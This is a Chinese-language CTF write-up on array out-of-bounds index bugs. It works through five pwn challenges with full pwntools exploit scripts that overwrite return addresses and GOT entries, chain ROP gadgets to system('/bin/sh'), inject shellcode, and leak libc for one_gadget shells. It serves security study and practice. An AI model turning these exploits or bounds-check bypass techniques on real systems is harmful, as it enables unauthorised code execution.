PWN January 03, 2020

数组下标越界专题

Words count 56k Reading time 51 mins. Read count 0

一、数组下标越界简介:

栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash,看一张图:

image.png

这样一下看就很明显了,当你把数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段。但是这里就有一个需要注意的地方了,利用负数改写的话我们还能达到“负数变正数”的效果,也就是通过计算偏移得出负数下标,这个下标对应的是某高地址(针对有上界检查没有下界检查,但是我们需要往高地址写东西的情况)

我们看看正负数在计算中的表示:

image.png

先来道题开胃菜:

1、homework(数组下标溢出)

image.png

image.png

image.png

image.png

image.png

开了栈溢出保护和堆栈不可执行,看main,这里name是到bss段的,最后saybye的时候打印出来,重点看中间的程序,发现有数组,这里一开始不明感没做过这种题目,一直在想怎么泄露canary然后栈溢出去覆盖,最后ret到system,但是一直木有,师傅提示这是个新姿势,数组!数组下标溢出~学习一波先呗:

C/C++不对数组做边界检查。 可以重写数组的每一端,并写入一些其他变量的
数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行
的效率,因为如果你检查,那么编译器必须在生成的目标代码中加入额外的代
码用于程序运行时检测下标是否越界,这就会导致程序的运行速度下降,所以
为了程序的运行效率,C / C++才不检查下标是否越界。发现如果数组下标越
界了,那么它会自动接着那块内存往后写。

漏洞利用:继续往后写内存,这里就可以通过计算,写到我们的ret位置处,这样就可以直接getshell啦~

再回来这题的栈,

image.png

这里中间间隔了60,也就是15条4字节的指令,下标从0开始,那么ret的下标就是14,这样就轻松地绕过了cananry,同时这题里面有现成的system函数(0x080485FB),那么payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./homework')
if local:
p = process('./homework')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7701)
libc = ELF('./libc.so.6')

def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()

p.recvuntil("What's your name? ")
p.sendline("Your father")
p.recvuntil("4 > dump all numbers")
p.recvuntil(" > ")
p.sendline("1")
p.recvuntil("Index to edit: ")
p.sendline("14")
p.recvuntil("How many? ")
system_addr = 0x080485FB
p.sendline(str(system_addr))
p.sendline('0')
p.interactive()

这里需要注意的是要发送的都是以字符串的形式去发送的,最后退出就直接getshell了。

2、负数转正数下标溢出pwn1

image.png

image.png)image.png

先来看一波栈的分布,和我们想的一样样的,下标为8的位置,放2333(0x91d),

image.png就是经典的栈分布的情况,但是上界被限制了,我们只能下界溢出来搞一波操作,但是我们要写的位置在高地址,刚好和下溢的话方向相反,这里要用到一个技巧,就是负数写,先看看写个负数是什么情况:

image.png

很好,写到了下标为-1的位置,再看看ret函数位置(ebp+8)image.png

我们要想办法覆盖这个ret函数,看看距离,

image.png

是在下标为0xd的位置,但是我们需要通过rax来写到这个下标,即

rbp+rax*8-0x60 == rbp+0x8

解方程可以知道rax*8 = 0x68

还有一个关键的点是还需要使rax的值为负数,即0x8000000000000000<rax<0xffffffffffffffff

这里经过检验,0xa00000000000000d可用(‭-6917529027641081843‬)

image.png

image.png

还有0x800000000000000d,0xc00000000000000d,0xe00000000000000d

也是可以用的,发现一般规律,以后这种题,只要求出偏移(用distance,看后面的),那么这个大负数=偏移+0xa000000000000000,计算器算出这个负数即可,gdb检验下:

image.png

可以看到正好覆盖到ret,很好,这里就实现了负数往高地址写。

接下来就好构造了,有十次的机会写栈中的内容,足够了。

image.png

本身有system,只是参数不对,我们只需要在bss段写入/bin/sh,再调用system即可,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#coding=utf8
from pwn import *
context.log_level='debug'
p = process('./pwn1')
elf = ELF('pwn1')

p.recvuntil('name:\n')
p.sendline('King')
system_addr = elf.symbols['system']
bss_addr = elf.bss()
scanf_addr = elf.symbols['__isoc99_scanf']
pop_rdi = 0x400a33 #pop rdi;ret
pop_rsi = 0x400a31 #pop rsi;pop r15;ret
ret_addr = 6917529027641081843 #0xa00000000000000d的负数形式
scanf_formot = 0x400AFC #%9s

#gdb.attach(p)
#1往ret地方(0xd)写入
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))

#2往ret下一个(0xe)写入
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-1))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_formot))

#3往0xf写入
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-2))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rsi))

#4类推
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-3))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))

#5
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-4))
p.recvuntil('age:\n')
p.sendline('%s' % (0x1)) #r15不相干,随意写

#6
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-5))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_addr))

#7
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-6))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))

#8
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-7))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))

#9
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-8))
p.recvuntil('age:\n')
p.sendline('%s' % (system_addr))

#10已经写完了,这里随便写吧
p.recvuntil('index:\n')
p.sendline('0')
p.recvuntil('age:\n')
p.sendline('0')

p.recv()
p.sendline('/bin/sh')

p.interactive()

payload具体如下:(64位)

image.png

检验下:

image.png

总结如下:数组下标越界,难一点的题目就是利用下溢到ret的位置,然后相当于控制了程序的执行流程,随便跑我们paylaod即可,知道了如何转成负数!

3、leave_msg(绕过检测机制)

image.png

看到这个保护就很舒服,只有canary保护,而且有RWX段,去内存看看是哪可以搞一波操作。

image.png

原来是0x8049000到0x804b000的位置,意味着bss是可读可写可执行的(shellcode),

image.png

这里可以看到atoi函数转成整形,但是这个函数有个漏洞,就是会忽略掉空格和换行符,可以看到下面有检验上溢出和下溢出的函数,那么空格+负数就可以绕过了,同时strlen函数有个函数遇到\x00就会停下来,那么就可以绕过这个长度检测,strdup函数是copy函数,strdup会自动申请一块大小和buf一样的堆块,把buf内容复制进堆块接着把堆地址赋值给0x804A060那里,我们要对got动手了,选择puts的got表。先看看偏移~

image.png

因为我们的puts的got表位置在0x804a020,和0x804a060相距-0x40,除4得到-0x10(-16),所以偏移量就算出来了,这里puts的got表无法直接写shellcode,8字节的got位置要写8字节的shellcode不太可能,所以换种思路,写一条指向栈的汇编(add esp,xxx;jmp esp),指向我们的shellcode就好了~接着计算偏移xxx:(si进入到puts函数,相当于执行,观察esp)
image.png

可以计算出偏移为0x30,那么要跳到shellcode,就要加len(jump)+ 1:

image.png

汇编代码长度为5,那么总偏移就是0x30+5+1 = 0x36,则exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./leave_msg')
if local:
p = process('./leave_msg')
libc = elf.libc
else:
p = remote('nc hackme.inndy.tw',7715)
libc = ELF('./libc-2.23.so.i386')

shellcode = asm(shellcraft.sh())
jump = asm("add esp,0x32;jmp esp;")

payload = ''
payload += jump + '\x00' + shellcode
p.recvuntil("I'm busy. Please leave your message:")
p.send(payload)

p.recvuntil("Which message slot?")
p.send(" -16")

p.interactive()
总结:利用了atoi函数的漏洞和strlen的漏洞,got表不止可以写其他的地址,还可写汇编指令喔~(甚至是shellcode(8字节长的))

4、题目:tictactoe(下溢修改got表)

1
2
3
4
5
6
7
8
king@ubuntu:~/桌面/Hackme$ checksec tictactoe
[*] '/home/king/\xe6\xa1\x8c\xe9\x9d\xa2/Hackme/tictactoe'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
king@ubuntu:~/桌面/Hackme$

canary保护和堆栈不可执行~看看ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
int __cdecl main()
{
signed int v0; // eax
int v1; // eax
int fd; // ST14_4
signed int i; // [esp+0h] [ebp-118h]
ssize_t v5; // [esp+8h] [ebp-110h]
char buf[256]; // [esp+Ch] [ebp-10Ch]
unsigned int v7; // [esp+10Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
fclose(stderr);
fwrite("Thanks MatthewStell for the AI, https://gist.github.com/MatthewSteel/3158579\n", 1u, 0x4Du, stderr);
sub_80486C7(" ____ ____ __ __ __ __\n"
" / __ \\ / __ \\ \\ \\ / / \\ \\ / /\n"
"| | | | | | | | \\ V / \\ V /\n"
"| | | | | | | | > < > <\n"
"| |__| | | |__| | / . \\ / . \\\n"
" \\____/ \\____/ /_/ \\_\\ /_/ \\_\\\n"
"\n"
"\n"
"\n");
sub_80486C7("Welcome to use AlphaToe");
sub_80486C7("Try to beat my A.I. system");
printf("Computer: O, You: %c\nPlay (1)st or (2)nd? ", byte_804B04C);
if ( sub_804871C() % 2 == 1 )
v0 = 1;
else
v0 = -1;
dword_804B048 = v0;
for ( i = 0; i <= 8 && !sub_80487F6(); ++i )
{
if ( dword_804B048 == -1 )
{
sub_80489C0();//电脑下棋
}
else
{
sub_8048762();
sub_8048A4B();//我们下棋,漏洞在这里
}
dword_804B048 = -dword_804B048;//一人一次
}
v1 = sub_80487F6();
if ( v1 )
{
if ( v1 == 1 )
{
sub_8048762();
sub_80486C7("You lose. :(");
}
else if ( v1 == -1 )//很明显要跳转到这里才有flag,得找漏洞
{
sub_80486C7("You win. Inconceivable!");
fd = open("flag_simple", 0);
v5 = read(fd, buf, 0x100u);
if ( fd <= 0 || v5 <= 0 )
{
sub_80486C7("Can not read flag! Pls contact admin");
}
else
{
buf[v5] = 0;
printf("Here is your flag: %s\n", buf);
sub_80486C7("You need a shell to get another flag");
}
exit(0);
}
}
else
{
sub_80486C7("Draw!......");
}
memset(&dword_804B048, 0, 0x18u);
puts("You sucks!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int sub_8048A4B()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("\nInput move (9 to change flavor): ");
v1 = sub_804871C();//输入函数
if ( v1 == 9 )
{
read(0, &buf, 4u);
byte_804B04C = buf;//换棋
sub_8048A4B();
}
else
{
*(v1 + 0x804B056) = byte_804B04C;//将输入进行赋值,数组下标溢出,v1可以为负数,byte_804B04C是我们的v1=9的输入,而v1相当于下标偏移,这里就可以改写puts的got为cat_flag的地址。
if ( sub_80486F0(v1) )
*(v1 + 0x804B04D) = -1;
}
return __readgsdword(0x14u) ^ v3;

image.png

而且由于前面的地址相同,所以只需要写末2位即可。

这里为了验证方便,分别在0x08048A8A和0x08048A9E的位置下断点,动态调试看看是否改成功了。

image.png

修改成功,直接再随便输入一个值即可退出getshell,那么exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./tictactoe')
if local:
p = process('./tictactoe')
libc = elf.libc
else:
p = remote('hackme.inndy.tw',7714)
libc = ELF('./libc-2.23.so.i386')
cat_flag = 0x8048C46
p.recvuntil("Play (1)st or (2)nd? ")
p.send('1')
p.recvuntil("move (9 to change flavor): ")
p.send('9')
#gdb.attach(p,'b *0x08048A8A')
p.send('\x46')
p.recvuntil("move (9 to change flavor): ")
p.send(' -50')
p.recvuntil("move (9 to change flavor): ")
p.send('9')
#gdb.attach(p,'b *0x08048A8A')
p.send('\x8C')
p.recvuntil("move (9 to change flavor): ")
p.send(' -49')
p.recvuntil("move (9 to change flavor): ")
p.send('0')

p.interactive()

检验下:

image.png

一、PWN:

题目:

your_pwn

操作:

这里开了所有的保护,正常的操作,这里可以分析出逻辑先输入名字到bss段中(没什么用),然后输入下标,会显示数组下标所在的内容,接着更新数组下标处的内容。

利用思路:

1、数组下标越界

2、没有上界和下界的检查,意味着任意地址读任意地址写

3、任意地址读,泄露真实地址,得到onegadget

4、任意地址写,写回到ret的地址处

5、修改循环的次数程序结束即可getshell

接着上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./your_pwn')
if local:
p = process('./your_pwn')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')

#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

p.recvuntil("input your name \nname:")
p.sendline('king')
#debug(0xBB7)

p.recvuntil('input index\n')
p.sendline('632')
p.recvuntil('now value(hex) ')
a = (int(p.recvuntil("\n")[:-1],16) & 0xff)
print hex(a)
p.recvuntil('input new value\n')
p.sendline('7')
p.recvuntil("input index")
p.sendline('633')
p.recvuntil("now value(hex) ")
b = (int(p.recvuntil("\n")[:-1],16) & 0xff)
print hex(b)
p.recvuntil("new value\n")
p.sendline('7')

p.recvuntil("input index")
p.sendline('634')
p.recvuntil("now value(hex) ")
c = (int(p.recvuntil("\n")[:-1],16) & 0xff)
print hex(c)
p.recvuntil("new value\n")
p.sendline('7')

p.recvuntil("input index")
p.sendline('635')
p.recvuntil("now value(hex) ")
d = (int(p.recvuntil("\n")[:-1],16) & 0xff)
print hex(d)
p.recvuntil("new value\n")
p.sendline('7')

p.recvuntil("input index")
p.sendline('636')
p.recvuntil("now value(hex) ")
e = (int(p.recvuntil("\n")[:-1],16) & 0xff)
print hex(e)
p.recvuntil("new value\n")
p.sendline('7')

p.recvuntil("input index")
p.sendline('637')
p.recvuntil("now value(hex) ")
f = (int(p.recvuntil("\n")[:-1],16) & 0xff)
print hex(f)
p.recvuntil("new value\n")
p.sendline('7')

main_addr = ((f<<40) + (e<<32) + (d<<24) + (c<<16) + (b<<8) + a)
print "main_addr--->" + hex(main_addr)
libc_base = main_addr - libc.symbols['__libc_start_main'] - 240
one_gadget = libc_base + 0xf02a4
one_gadget = hex(one_gadget)
print "one_gadget--->" + one_gadget

a = int(one_gadget[-2:],16)
b = int(one_gadget[-4:-2],16)
c = int(one_gadget[-6:-4],16)
d = int(one_gadget[-8:-6],16)
e = int(one_gadget[-10:-8],16)
f = int(one_gadget[-12:-10],16)
print a + b + c + d + e + f

p.recvuntil('input index\n')
p.sendline('344')
p.recvuntil('input new value\n')
p.sendline(str(a))

p.recvuntil('input index\n')
p.sendline('345')
p.recvuntil('input new value\n')
p.sendline(str(b))

p.recvuntil('input index\n')
p.sendline('346')
p.recvuntil('input new value\n')
p.sendline(str(c))

p.recvuntil('input index\n')
p.sendline('347')
p.recvuntil('input new value\n')
p.sendline(str(d))

p.recvuntil('input index\n')
p.sendline('348')
p.recvuntil('input new value\n')
p.sendline(str(e))

p.recvuntil('input index\n')
p.sendline('349')
p.recvuntil('input new value\n')
p.sendline(str(f))

p.recvuntil('input index\n')
p.sendline('-4')
p.sendline('40')
p.recvuntil('do you want continue(yes/no)? \n')
p.sendline('no')
p.interactive()

这里的libc_start_main的偏移是632开始的,而ret的是从344开始的,最后i的偏移为-4。

总结:

1、一开始接收的时候发现有时是单个,有时是多个,所以直接

a = (int(p.recvuntil(“\n”)[:-1],16) & 0xff)这样接受一定可以得到那个16进制的数。

2、分割时可以用16进制去切割,但是要转成int型,最后发送时是str型,这个需要记一下

0%